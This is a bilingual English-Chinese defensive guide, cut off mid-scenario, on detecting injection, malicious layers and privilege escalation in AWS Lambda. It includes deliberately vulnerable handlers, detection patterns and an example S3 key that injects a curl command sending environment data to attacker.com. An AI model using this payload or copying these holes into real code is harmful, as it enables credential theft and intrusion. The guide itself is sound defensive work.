detecting-serverless-function-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Detecting Serverless Function Injection

检测无服务器函数注入

When to Use

适用场景

  • Auditing Lambda/Cloud Functions for code injection vulnerabilities where unsanitized event data flows into dangerous runtime functions (
    eval
    ,
    exec
    ,
    child_process.exec
    ,
    os.system
    )
  • Investigating incidents where an attacker modified function code or layers to establish persistence or exfiltrate data from the serverless environment
  • Detecting privilege escalation paths where an adversary with
    lambda:UpdateFunctionCode
    and
    iam:PassRole
    can assume higher-privilege execution roles
  • Analyzing event source poisoning attacks where malicious payloads are injected through S3 object uploads, SQS messages, DynamoDB stream records, or API Gateway requests that trigger function execution
  • Building detection rules for SOC teams monitoring serverless workloads for unauthorized function modifications, layer additions, and suspicious invocation patterns
Do not use for load testing or denial-of-service simulation against serverless functions, for testing against production functions processing live customer data without explicit authorization, or for modifying IAM policies in shared accounts without change management approval.
  • 审计Lambda/Cloud Functions中存在的代码注入漏洞,此类漏洞源于未经过滤的事件数据流入危险的运行时函数(
    eval
    exec
    child_process.exec
    os.system
  • 调查攻击者修改函数代码或层以在无服务器环境中建立持久化权限或窃取数据的事件
  • 检测权限提升路径:拥有
    lambda:UpdateFunctionCode
    iam:PassRole
    权限的攻击者可获取更高权限的执行角色
  • 分析事件源投毒攻击:攻击者通过触发函数执行的S3对象上传、SQS消息、DynamoDB流记录或API Gateway请求注入恶意载荷
  • 为监控无服务器工作负载的SOC团队构建检测规则,识别未授权的函数修改、层添加和可疑调用模式
不适用场景:对无服务器函数进行负载测试或拒绝服务模拟;在未获得明确授权的情况下,针对处理实时客户数据的生产函数进行测试;在未经过变更管理审批的情况下,修改共享账户中的IAM策略。

Prerequisites

前置条件

  • AWS account access with read permissions for Lambda, CloudTrail, IAM, CloudWatch Logs, and EventBridge
  • AWS CLI v2 configured with appropriate credentials and region
  • CloudTrail enabled with Data Events for Lambda (captures
    Invoke
    events) and Management Events (captures
    UpdateFunctionCode
    ,
    UpdateFunctionConfiguration
    ,
    CreateFunction
    )
  • Python 3.9+ with
    boto3
    ,
    bandit
    (Python SAST), and
    semgrep
    for static analysis
  • Access to function source code or deployment packages for static analysis
  • CloudWatch Logs Insights access for querying Lambda execution logs
  • 拥有AWS账户访问权限,具备Lambda、CloudTrail、IAM、CloudWatch Logs和EventBridge的读取权限
  • 已配置AWS CLI v2,拥有合适的凭证和区域设置
  • 已启用CloudTrail并配置Lambda数据事件(捕获
    Invoke
    事件)和管理事件(捕获
    UpdateFunctionCode
    UpdateFunctionConfiguration
    CreateFunction
  • 安装Python 3.9+,并配备
    boto3
    bandit
    (Python静态应用安全测试工具)和
    semgrep
    用于静态分析
  • 可访问函数源代码或部署包以进行静态分析
  • 拥有CloudWatch Logs Insights访问权限,可查询Lambda执行日志

Workflow

工作流程

Step 1: Enumerate the Serverless Attack Surface

步骤1:枚举无服务器攻击面

Map all Lambda functions and their event source triggers to understand injection entry points:
  • List all Lambda functions and their configurations:
    bash
    aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
  • Map event source mappings: Each event source mapping is a potential injection entry point where untrusted data enters the function:
    bash
    aws lambda list-event-source-mappings --output json | \
      jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
  • Identify API Gateway triggers: API Gateway routes pass HTTP request data (headers, query strings, body, path parameters) directly into the Lambda event object:
    bash
    aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
    For each API, enumerate resources and methods to identify which Lambda functions receive user-controlled HTTP input.
  • Identify S3 event triggers: S3 bucket notifications can trigger Lambda with attacker-controlled object keys and metadata:
    bash
    aws s3api get-bucket-notification-configuration --bucket <bucket-name>
  • Catalog function environment variables: Secrets in environment variables are exposed if an attacker achieves code execution inside the function:
    bash
    aws lambda get-function-configuration --function-name <name> \
      --query 'Environment.Variables' --output json
  • Identify overprivileged execution roles: Functions with
    *
    resource permissions or administrative policies are high-value escalation targets:
    bash
    aws iam list-attached-role-policies --role-name <lambda-exec-role>
    aws iam list-role-policies --role-name <lambda-exec-role>
映射所有Lambda函数及其事件源触发器,明确注入入口点:
  • 列出所有Lambda函数及其配置
    bash
    aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler,Layers]' --output table
  • 映射事件源映射关系:每个事件源映射都是潜在的注入入口点,不受信任的数据会从此处进入函数:
    bash
    aws lambda list-event-source-mappings --output json | \
      jq '.EventSourceMappings[] | {Function: .FunctionArn, Source: .EventSourceArn, State: .State}'
  • 识别API Gateway触发器:API Gateway路由会将HTTP请求数据(头部、查询字符串、请求体、路径参数)直接传入Lambda事件对象:
    bash
    aws apigateway get-rest-apis --query 'items[*].[id,name]' --output table
    针对每个API,枚举资源和方法,确定哪些Lambda函数接收用户可控的HTTP输入。
  • 识别S3事件触发器:S3存储桶通知可触发Lambda,攻击者可控制对象键和元数据:
    bash
    aws s3api get-bucket-notification-configuration --bucket <bucket-name>
  • 记录函数环境变量:若攻击者在函数内实现代码执行,环境变量中的密钥会被泄露:
    bash
    aws lambda get-function-configuration --function-name <name> \
      --query 'Environment.Variables' --output json
  • 识别权限过高的执行角色:拥有
    *
    资源权限或管理员策略的函数是高价值的权限提升目标:
    bash
    aws iam list-attached-role-policies --role-name <lambda-exec-role>
    aws iam list-role-policies --role-name <lambda-exec-role>

Step 2: Static Analysis for Injection Sinks

步骤2:针对注入接收点的静态分析

Scan function code for dangerous patterns that allow injected event data to execute as code or commands:
  • Download function deployment packages:
    bash
    aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
    unzip function.zip -d function_code/
  • Python injection sinks (Lambda Python runtimes): Search for functions that execute strings as code:
    python
    # DANGEROUS: Direct eval/exec of event data
    eval(event['expression'])           # Code injection via eval
    exec(event['code'])                 # Arbitrary code execution
    os.system(event['command'])         # OS command injection
    subprocess.call(event['cmd'], shell=True)  # Shell injection
    os.popen(event['input'])            # Command injection
    pickle.loads(event['data'])         # Deserialization attack
    yaml.load(event['config'])          # YAML deserialization (unsafe loader)
  • Node.js injection sinks (Lambda Node.js runtimes):
    javascript
    // DANGEROUS: Direct execution of event data
    eval(event.expression);                    // Code injection
    new Function(event.code)();               // Dynamic function creation
    child_process.exec(event.command);         // OS command injection
    child_process.execSync(event.cmd);         // Synchronous command injection
    vm.runInNewContext(event.script);          // Sandbox escape potential
    require('child_process').exec(event.input); // Import-and-execute pattern
  • Run Semgrep with serverless rules: Use purpose-built rules that detect event data flowing into injection sinks:
    bash
    semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
      --config "p/python-security" function_code/ --json --output semgrep_results.json
  • Run Bandit for Python functions:
    bash
    bandit -r function_code/ -f json -o bandit_results.json \
      -t B102,B301,B307,B602,B603,B604,B605,B606,B607
    These test IDs specifically target
    exec
    ,
    pickle
    ,
    eval
    ,
    subprocess
    with
    shell=True
    , and other injection-relevant patterns.
  • Custom pattern detection: Search for indirect injection patterns where event data is concatenated into strings that are later executed:
    python
    # Indirect injection: event data flows into SQL query string
    query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
    cursor.execute(query)  # SQL injection
    
    # Indirect injection: event data flows into template rendering
    template = event['template']
    rendered = jinja2.Template(template).render()  # SSTI
扫描函数代码中存在的危险模式,这些模式会导致注入的事件数据被作为代码或命令执行:
  • 下载函数部署包
    bash
    aws lambda get-function --function-name <name> --query 'Code.Location' --output text | xargs curl -o function.zip
    unzip function.zip -d function_code/
  • Python注入接收点(Lambda Python运行时):搜索将字符串作为代码执行的函数:
    python
    # 危险:直接对事件数据执行eval/exec
    eval(event['expression'])           # 通过eval实现代码注入
    exec(event['code'])                 # 任意代码执行
    os.system(event['command'])         # 操作系统命令注入
    subprocess.call(event['cmd'], shell=True)  # Shell注入
    os.popen(event['input'])            # 命令注入
    pickle.loads(event['data'])         # 反序列化攻击
    yaml.load(event['config'])          # YAML反序列化(不安全加载器)
  • Node.js注入接收点(Lambda Node.js运行时):
    javascript
    // 危险:直接执行事件数据
    eval(event.expression);                    // 代码注入
    new Function(event.code)();               // 动态函数创建
    child_process.exec(event.command);         // 操作系统命令注入
    child_process.execSync(event.cmd);         // 同步命令注入
    vm.runInNewContext(event.script);          // 沙箱逃逸风险
    require('child_process').exec(event.input); // 导入并执行模式
  • 使用Semgrep运行无服务器规则:使用专门的规则检测事件数据流入注入接收点的情况:
    bash
    semgrep --config "p/owasp-top-ten" --config "p/command-injection" \
      --config "p/python-security" function_code/ --json --output semgrep_results.json
  • 针对Python函数运行Bandit
    bash
    bandit -r function_code/ -f json -o bandit_results.json \
      -t B102,B301,B307,B602,B603,B604,B605,B606,B607
    这些测试ID专门针对
    exec
    pickle
    eval
    、带
    shell=True
    subprocess
    以及其他与注入相关的模式。
  • 自定义模式检测:搜索间接注入模式,即事件数据被拼接进字符串后执行:
    python
    # 间接注入:事件数据流入SQL查询字符串
    query = f"SELECT * FROM users WHERE id = '{event['userId']}'"
    cursor.execute(query)  # SQL注入
    
    # 间接注入:事件数据流入模板渲染
    template = event['template']
    rendered = jinja2.Template(template).render()  # 服务器端模板注入(SSTI)

Step 3: Detect Event Source Poisoning

步骤3:检测事件源投毒

Analyze event sources for injection payloads that exploit how Lambda processes triggers:
  • S3 event key injection: When a Lambda function processes S3 events, the object key from the event record can contain injection payloads. An attacker uploads an object with a malicious key name:
    python
    # Vulnerable Lambda handler
    def handler(event, context):
        bucket = event['Records'][0]['s3']['bucket']['name']
        key = event['Records'][0]['s3']['object']['key']
        # VULNERABLE: key is attacker-controlled
        os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
    Attack: Upload an object with key
    ; curl http://attacker.com/exfil?data=$(env)
    to inject a command through the S3 event.
  • SQS message body injection: Lambda processes SQS messages where the body contains attacker-controlled data:
    python
    # Vulnerable Lambda handler
    def handler(event, context):
        for record in event['Records']:
            message = json.loads(record['body'])
            # VULNERABLE: message content used in eval
            result = eval(message['formula'])
  • API Gateway header/parameter injection: HTTP request data passes through API Gateway into the Lambda event:
    python
    # Vulnerable Lambda handler
    def handler(event, context):
        user_agent = event['headers']['User-Agent']
        # VULNERABLE: header value used in shell command
        subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
  • DynamoDB Stream record injection: Modified DynamoDB items trigger Lambda with the new record values. If an attacker can write to the table, they control the event data:
    python
    # Vulnerable Lambda handler
    def handler(event, context):
        for record in event['Records']:
            new_image = record['dynamodb']['NewImage']
            config = new_image['config']['S']
            # VULNERABLE: DynamoDB record value used in exec
            exec(config)
  • Detection via CloudWatch Logs Insights: Query for evidence of injection attempts in function execution logs:
    fields @timestamp, @message
    | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
    | filter @message like /(?i)(error|exception|traceback|syntax)/
    | sort @timestamp desc
    | limit 100
分析事件源中的注入载荷,这些载荷会利用Lambda处理触发器的方式:
  • S3事件键注入:当Lambda函数处理S3事件时,事件记录中的对象键可能包含注入载荷。攻击者上传带有恶意键名的对象:
    python
    # 存在漏洞的Lambda处理器
    def handler(event, context):
        bucket = event['Records'][0]['s3']['bucket']['name']
        key = event['Records'][0]['s3']['object']['key']
        # 存在漏洞:key由攻击者控制
        os.system(f"aws s3 cp s3://{bucket}/{key} /tmp/file")
    攻击方式:上传键为
    ; curl http://attacker.com/exfil?data=$(env)
    的对象,通过S3事件注入命令。
  • SQS消息体注入:Lambda处理SQS消息时,消息体包含攻击者可控的数据:
    python
    # 存在漏洞的Lambda处理器
    def handler(event, context):
        for record in event['Records']:
            message = json.loads(record['body'])
            # 存在漏洞:消息内容被用于eval
            result = eval(message['formula'])
  • API Gateway头部/参数注入:HTTP请求数据通过API Gateway传入Lambda事件:
    python
    # 存在漏洞的Lambda处理器
    def handler(event, context):
        user_agent = event['headers']['User-Agent']
        # 存在漏洞:头部值被用于Shell命令
        subprocess.run(f"echo {user_agent} >> /tmp/access.log", shell=True)
  • DynamoDB流记录注入:修改后的DynamoDB项会触发Lambda并传入新记录值。若攻击者可写入表,则可控制事件数据:
    python
    # 存在漏洞的Lambda处理器
    def handler(event, context):
        for record in event['Records']:
            new_image = record['dynamodb']['NewImage']
            config = new_image['config']['S']
            # 存在漏洞:DynamoDB记录值被用于exec
            exec(config)
  • 通过CloudWatch Logs Insights检测:查询函数执行日志中的注入尝试证据:
    fields @timestamp, @message
    | filter @message like /(?i)(eval|exec|os\.system|child_process|subprocess|import os)/
    | filter @message like /(?i)(error|exception|traceback|syntax)/
    | sort @timestamp desc
    | limit 100

Step 4: Detect Malicious Lambda Layer Injection

步骤4:检测恶意Lambda层注入

Identify unauthorized Lambda layers that intercept function execution or exfiltrate data:
  • Audit current layer attachments: List all functions and their layer versions to identify unexpected additions:
    bash
    aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
  • Detect layer modification events in CloudTrail: Query for
    UpdateFunctionConfiguration
    events that add or change layers:
    bash
    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
      --start-time "2026-03-12T00:00:00Z" \
      --end-time "2026-03-19T23:59:59Z" \
      --query 'Events[*].[EventTime,Username,CloudTrailEvent]'
    Parse the
    CloudTrailEvent
    JSON to check if
    Layers
    was modified in the request parameters.
  • Analyze layer contents: Download and inspect layer packages for malicious code:
    bash
    aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
      --query 'Content.Location' --output text | xargs curl -o layer.zip
    unzip layer.zip -d layer_contents/
    # Search for suspicious patterns
    grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
  • Layer hijacking indicators: A malicious layer can override the function's runtime behavior by placing files in the runtime's search path:
    • Python: Layer code in
      /opt/python/
      is imported before the function's own modules
    • Node.js: Layer code in
      /opt/nodejs/node_modules/
      overrides function dependencies
    • A layer providing a modified
      boto3
      package can intercept all AWS API calls, log credentials, and forward requests to an attacker-controlled endpoint
  • CloudTrail detection query for layer changes:
    json
    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
        "errorCode": [{"exists": false}]
      }
    }
识别未授权的Lambda层,这些层会拦截函数执行或窃取数据:
  • 审计当前层附件:列出所有函数及其层版本,识别意外添加的层:
    bash
    aws lambda list-functions --query 'Functions[*].[FunctionName,Layers[*].Arn]' --output json
  • 在CloudTrail中检测层修改事件:查询添加或更改层的
    UpdateFunctionConfiguration
    事件:
    bash
    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionConfiguration \
      --start-time "2026-03-12T00:00:00Z" \
      --end-time "2026-03-19T23:59:59Z" \
      --query 'Events[*].[EventTime,Username,CloudTrailEvent]'
    解析
    CloudTrailEvent
    JSON,检查请求参数中是否修改了
    Layers
  • 分析层内容:下载并检查层包中的恶意代码:
    bash
    aws lambda get-layer-version --layer-name <layer-name> --version-number <version> \
      --query 'Content.Location' --output text | xargs curl -o layer.zip
    unzip layer.zip -d layer_contents/
    # 搜索可疑模式
    grep -rn "urllib\|requests\|http\|socket\|exfil\|base64\|subprocess" layer_contents/
  • 层劫持指标:恶意层可通过将文件放入运行时的搜索路径来覆盖函数的运行时行为:
    • Python:
      /opt/python/
      中的层代码会优先于函数自身模块被导入
    • Node.js:
      /opt/nodejs/node_modules/
      中的层代码会覆盖函数依赖
    • 提供修改后
      boto3
      包的层可拦截所有AWS API调用、记录凭证并将请求转发到攻击者控制的端点
  • 针对层变更的CloudTrail检测查询
    json
    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": ["UpdateFunctionConfiguration20150331v2", "PublishLayerVersion20181031"],
        "errorCode": [{"exists": false}]
      }
    }

Step 5: Detect IAM Privilege Escalation via Lambda

步骤5:检测通过Lambda实现的IAM权限提升

Identify escalation paths where attackers modify functions to assume higher-privilege roles:
  • The Lambda privilege escalation pattern: An attacker with
    lambda:UpdateFunctionCode
    and
    iam:PassRole
    permissions can:
    1. Identify a Lambda function with a high-privilege execution role (e.g., AdministratorAccess)
    2. Modify the function's code to call
      sts:GetCallerIdentity
      or perform privileged actions
    3. Invoke the function, which executes with the high-privilege role
    4. Exfiltrate the role's temporary credentials from the function's environment variables (
      AWS_ACCESS_KEY_ID
      ,
      AWS_SECRET_ACCESS_KEY
      ,
      AWS_SESSION_TOKEN
      )
  • Detect UpdateFunctionCode events: Monitor CloudTrail for function code modifications:
    bash
    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
      --start-time "2026-03-12T00:00:00Z" \
      --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
  • Detect PassRole to Lambda:
    iam:PassRole
    is required to attach a different execution role to a function. Monitor for this:
    # CloudWatch Logs Insights on CloudTrail logs
    fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
    | filter eventName = "UpdateFunctionConfiguration20150331v2"
    | filter ispresent(requestParameters.role)
    | sort eventTime desc
  • Detect credential exfiltration from Lambda: A compromised function may call STS or create new IAM entities:
    fields eventTime, userIdentity.arn, eventName, sourceIPAddress
    | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
    | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
        "CreateAccessKey", "AssumeRole", "PutUserPolicy"]
    | sort eventTime desc
  • EventBridge rule for real-time alerting: Create an EventBridge rule to trigger an SNS alert whenever function code is modified:
    json
    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": [
          "UpdateFunctionCode20150331v2",
          "UpdateFunctionConfiguration20150331v2",
          "CreateFunction20150331"
        ],
        "errorCode": [{"exists": false}]
      }
    }
识别攻击者通过修改函数获取更高权限角色的提升路径:
  • Lambda权限提升模式:拥有
    lambda:UpdateFunctionCode
    iam:PassRole
    权限的攻击者可:
    1. 识别拥有高权限执行角色(如AdministratorAccess)的Lambda函数
    2. 修改函数代码,调用
      sts:GetCallerIdentity
      或执行高权限操作
    3. 调用函数,使其以高权限角色执行
    4. 从函数环境变量(
      AWS_ACCESS_KEY_ID
      AWS_SECRET_ACCESS_KEY
      AWS_SESSION_TOKEN
      )中窃取角色的临时凭证
  • 检测UpdateFunctionCode事件:监控CloudTrail中的函数代码修改事件:
    bash
    aws cloudtrail lookup-events \
      --lookup-attributes AttributeKey=EventName,AttributeValue=UpdateFunctionCode20150331v2 \
      --start-time "2026-03-12T00:00:00Z" \
      --query 'Events[*].[EventTime,Username,Resources[0].ResourceName]' --output table
  • 检测向Lambda传递角色(PassRole):将不同执行角色附加到函数需要
    iam:PassRole
    权限,监控此类操作:
    # 针对CloudTrail日志的CloudWatch Logs Insights查询
    fields eventTime, userIdentity.arn, requestParameters.functionName, requestParameters.role
    | filter eventName = "UpdateFunctionConfiguration20150331v2"
    | filter ispresent(requestParameters.role)
    | sort eventTime desc
  • 检测从Lambda窃取凭证:被攻陷的函数可能调用STS或创建新的IAM实体:
    fields eventTime, userIdentity.arn, eventName, sourceIPAddress
    | filter userIdentity.arn like /.*:assumed-role\/.*lambda.*/
    | filter eventName in ["GetCallerIdentity", "CreateUser", "AttachUserPolicy",
        "CreateAccessKey", "AssumeRole", "PutUserPolicy"]
    | sort eventTime desc
  • 用于实时告警的EventBridge规则:创建EventBridge规则,当函数代码被修改时触发SNS告警:
    json
    {
      "source": ["aws.lambda"],
      "detail-type": ["AWS API Call via CloudTrail"],
      "detail": {
        "eventName": [
          "UpdateFunctionCode20150331v2",
          "UpdateFunctionConfiguration20150331v2",
          "CreateFunction20150331"
        ],
        "errorCode": [{"exists": false}]
      }
    }

Step 6: Implement Runtime Injection Prevention

步骤6:实现运行时注入防护

Deploy runtime protection controls to prevent injection at execution time:
  • Input validation at handler entry: Validate and sanitize all event data before processing:
    python
    import re
    import json
    from functools import wraps
    
    SAFE_PATTERNS = {
        'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
        'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
        'action': re.compile(r'^(get|list|create|update|delete)$'),
    }
    
    def validate_event(schema):
        """Decorator that validates Lambda event against a whitelist schema."""
        def decorator(func):
            @wraps(func)
            def wrapper(event, context):
                for field, pattern in schema.items():
                    value = event.get(field, '')
                    if isinstance(value, str) and not pattern.match(value):
                        return {
                            'statusCode': 400,
                            'body': json.dumps({'error': f'Invalid {field}'})
                        }
                return func(event, context)
            return wrapper
        return decorator
    
    @validate_event(SAFE_PATTERNS)
    def handler(event, context):
        # Event data is validated before reaching this point
        user_id = event['userId']
        # Safe to use in queries with parameterized statements
        return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
  • Lambda function URL authorization: Ensure functions exposed via URLs require IAM auth:
    bash
    aws lambda get-function-url-config --function-name <name> \
      --query 'AuthType' --output text
    # Must return "AWS_IAM", not "NONE"
  • Least privilege execution roles: Restrict the function's IAM role to the minimum required permissions:
    json
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": [
            "dynamodb:GetItem",
            "dynamodb:PutItem"
          ],
          "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
        },
        {
          "Effect": "Allow",
          "Action": "logs:*",
          "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
        }
      ]
    }
  • SCP to prevent dangerous Lambda modifications: Apply a Service Control Policy at the organization level to restrict who can modify Lambda functions and pass roles:
    json
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "DenyLambdaCodeUpdateExceptCICD",
          "Effect": "Deny",
          "Action": [
            "lambda:UpdateFunctionCode",
            "lambda:UpdateFunctionConfiguration"
          ],
          "Resource": "*",
          "Condition": {
            "StringNotLike": {
              "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
            }
          }
        }
      ]
    }
  • AWS Lambda Powertools for structured logging: Emit structured security events that can be ingested by SIEM:
    python
    from aws_lambda_powertools import Logger, Tracer
    from aws_lambda_powertools.utilities.validation import validate
    
    logger = Logger(service="payment-processor")
    tracer = Tracer()
    
    @logger.inject_lambda_context
    @tracer.capture_lambda_handler
    def handler(event, context):
        logger.info("Processing event", extra={
            "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
            "user_agent": event.get('headers', {}).get('User-Agent'),
            "http_method": event.get('httpMethod'),
        })
部署运行时控制措施,防止执行阶段发生注入:
  • 处理器入口处的输入验证:在处理前验证并过滤所有事件数据:
    python
    import re
    import json
    from functools import wraps
    
    SAFE_PATTERNS = {
        'userId': re.compile(r'^[a-zA-Z0-9\-]{1,64}$'),
        'email': re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'),
        'action': re.compile(r'^(get|list|create|update|delete)$'),
    }
    
    def validate_event(schema):
        """验证Lambda事件是否符合白名单模式的装饰器。"""
        def decorator(func):
            @wraps(func)
            def wrapper(event, context):
                for field, pattern in schema.items():
                    value = event.get(field, '')
                    if isinstance(value, str) and not pattern.match(value):
                        return {
                            'statusCode': 400,
                            'body': json.dumps({'error': f'无效的{field}'})
                        }
                return func(event, context)
            return wrapper
        return decorator
    
    @validate_event(SAFE_PATTERNS)
    def handler(event, context):
        # 事件数据在到达此处前已通过验证
        user_id = event['userId']
        # 可安全用于参数化语句查询
        return {'statusCode': 200, 'body': json.dumps({'user': user_id})}
  • Lambda函数URL授权:确保通过URL暴露的函数需要IAM认证:
    bash
    aws lambda get-function-url-config --function-name <name> \
      --query 'AuthType' --output text
    # 必须返回"AWS_IAM",而非"NONE"
  • 最小权限执行角色:将函数的IAM角色限制为所需的最小权限:
    json
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Effect": "Allow",
          "Action": [
            "dynamodb:GetItem",
            "dynamodb:PutItem"
          ],
          "Resource": "arn:aws:dynamodb:us-east-1:111122223333:table/UserTable"
        },
        {
          "Effect": "Allow",
          "Action": "logs:*",
          "Resource": "arn:aws:logs:us-east-1:111122223333:log-group:/aws/lambda/my-function:*"
        }
      ]
    }
  • 防止危险Lambda修改的SCP:在组织层面应用服务控制策略(SCP),限制可修改Lambda函数和传递角色的用户:
    json
    {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Sid": "DenyLambdaCodeUpdateExceptCICD",
          "Effect": "Deny",
          "Action": [
            "lambda:UpdateFunctionCode",
            "lambda:UpdateFunctionConfiguration"
          ],
          "Resource": "*",
          "Condition": {
            "StringNotLike": {
              "aws:PrincipalArn": "arn:aws:iam::*:role/CICD-DeploymentRole"
            }
          }
        }
      ]
    }
  • 用于结构化日志的AWS Lambda Powertools:生成可被SIEM接收的结构化安全事件:
    python
    from aws_lambda_powertools import Logger, Tracer
    from aws_lambda_powertools.utilities.validation import validate
    
    logger = Logger(service="payment-processor")
    tracer = Tracer()
    
    @logger.inject_lambda_context
    @tracer.capture_lambda_handler
    def handler(event, context):
        logger.info("处理事件", extra={
            "source_ip": event.get('requestContext', {}).get('identity', {}).get('sourceIp'),
            "user_agent": event.get('headers', {}).get('User-Agent'),
            "http_method": event.get('httpMethod'),
        })

Key Concepts

核心概念

TermDefinition
Event Source PoisoningAn attack where malicious data is injected into a serverless event source (S3, SQS, DynamoDB Stream, API Gateway) to trigger code execution or injection when the function processes the event
Function InjectionExploitation of unsanitized event data that flows into dangerous runtime functions (eval, exec, os.system, child_process.exec) within a serverless function handler
Lambda Layer HijackingAn attack where a malicious Lambda layer is attached to a function to intercept execution, override dependencies, or exfiltrate data by placing code in the runtime's module search path
IAM Privilege Escalation via LambdaA technique where an attacker with UpdateFunctionCode and PassRole permissions modifies a function to execute with a higher-privilege IAM role, extracting temporary credentials
OWASP Serverless Top 10A security framework identifying the ten most critical risks in serverless architectures, including injection (SAS-1), broken authentication (SAS-2), and over-privileged functions (SAS-6)
Cold Start InjectionAn attack that targets the function initialization phase where environment variables, layer code, and extensions execute before the handler, potentially in an unmonitored context
Execution RoleThe IAM role assumed by a Lambda function during execution, providing temporary credentials that define the function's AWS API access permissions
术语定义
事件源投毒(Event Source Poisoning)一种攻击方式,攻击者将恶意数据注入无服务器事件源(S3、SQS、DynamoDB Stream、API Gateway),当函数处理该事件时触发代码执行或注入
函数注入(Function Injection)利用未经过滤的事件数据流入无服务器函数处理器内危险运行时函数(eval、exec、os.system、child_process.exec)的漏洞进行攻击
Lambda层劫持(Lambda Layer Hijacking)一种攻击方式,攻击者将恶意Lambda层附加到函数上,通过将代码放入运行时模块搜索路径来拦截执行、覆盖依赖或窃取数据
通过Lambda实现的IAM权限提升(IAM Privilege Escalation via Lambda)一种技术,拥有UpdateFunctionCode和PassRole权限的攻击者修改函数,使其以更高权限的IAM角色执行,从而提取临时凭证
OWASP无服务器Top 10识别无服务器架构中十大最关键风险的安全框架,包括注入(SAS-1)、身份验证失效(SAS-2)和权限过高的函数(SAS-6)
冷启动注入(Cold Start Injection)针对函数初始化阶段的攻击,环境变量、层代码和扩展在处理器执行前运行,可能处于未监控的环境中
执行角色(Execution Role)Lambda函数执行时假定的IAM角色,提供临时凭证,定义函数的AWS API访问权限

Tools & Systems

工具与系统

  • Semgrep: Static analysis tool with serverless-specific rule packs that detect event data flowing into injection sinks across Python, Node.js, Java, and Go Lambda runtimes
  • Bandit: Python-specific SAST tool that identifies security issues including use of eval, exec, subprocess with shell=True, and pickle deserialization
  • AWS CloudTrail: Logs Lambda management events (UpdateFunctionCode, CreateFunction) and data events (Invoke) for detecting unauthorized modifications and anomalous invocation patterns
  • CloudWatch Logs Insights: Query engine for searching Lambda execution logs for injection attempt indicators, runtime errors, and suspicious command patterns
  • AWS Config: Evaluates Lambda function configurations against compliance rules including layer inventory, execution role permissions, and function URL authorization types
  • Prowler: Open-source AWS security assessment tool with Lambda-specific checks for public access, overprivileged roles, and missing encryption
  • Semgrep:静态分析工具,带有无服务器专用规则包,可检测Python、Node.js、Java和Go Lambda运行时中事件数据流入注入接收点的情况
  • Bandit:Python专用静态应用安全测试工具,可识别安全问题,包括使用eval、exec、带shell=True的subprocess和pickle反序列化
  • AWS CloudTrail:记录Lambda管理事件(UpdateFunctionCode、CreateFunction)和数据事件(Invoke),用于检测未授权修改和异常调用模式
  • CloudWatch Logs Insights:查询引擎,用于搜索Lambda执行日志中的注入尝试指标、运行时错误和可疑命令模式
  • AWS Config:根据合规规则评估Lambda函数配置,包括层清单、执行角色权限和函数URL授权类型
  • Prowler:开源AWS安全评估工具,带有Lambda专用检查项,包括公共访问、权限过高的角色和缺失加密

Common Scenarios

常见场景

Scenario: Detecting and Responding to a Lambda-Based Privilege Escalation Attack

场景:检测并响应基于Lambda的权限提升攻击

Context: A SOC analyst receives a GuardDuty alert for
UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS
on an IAM role used by multiple Lambda functions. Investigation reveals that an attacker compromised a developer's AWS credentials with
lambda:UpdateFunctionCode
permissions and modified a payment processing function to exfiltrate the execution role's temporary credentials.
Approach:
  1. Query CloudTrail for
    UpdateFunctionCode
    events in the past 7 days to identify when the function was modified and by which principal:
    fields eventTime, userIdentity.arn, requestParameters.functionName, sourceIPAddress
    | filter eventName = "UpdateFunctionCode20150331v2"
    | filter requestParameters.functionName = "payment-processor"
    | sort eventTime desc
  2. Discover that the function was modified from an IP address in an unexpected geographic location at 02:47 UTC, outside of normal deployment windows
  3. Download the modified function code and find an injected snippet that POSTs
    os.environ['AWS_ACCESS_KEY_ID']
    ,
    AWS_SECRET_ACCESS_KEY
    , and
    AWS_SESSION_TOKEN
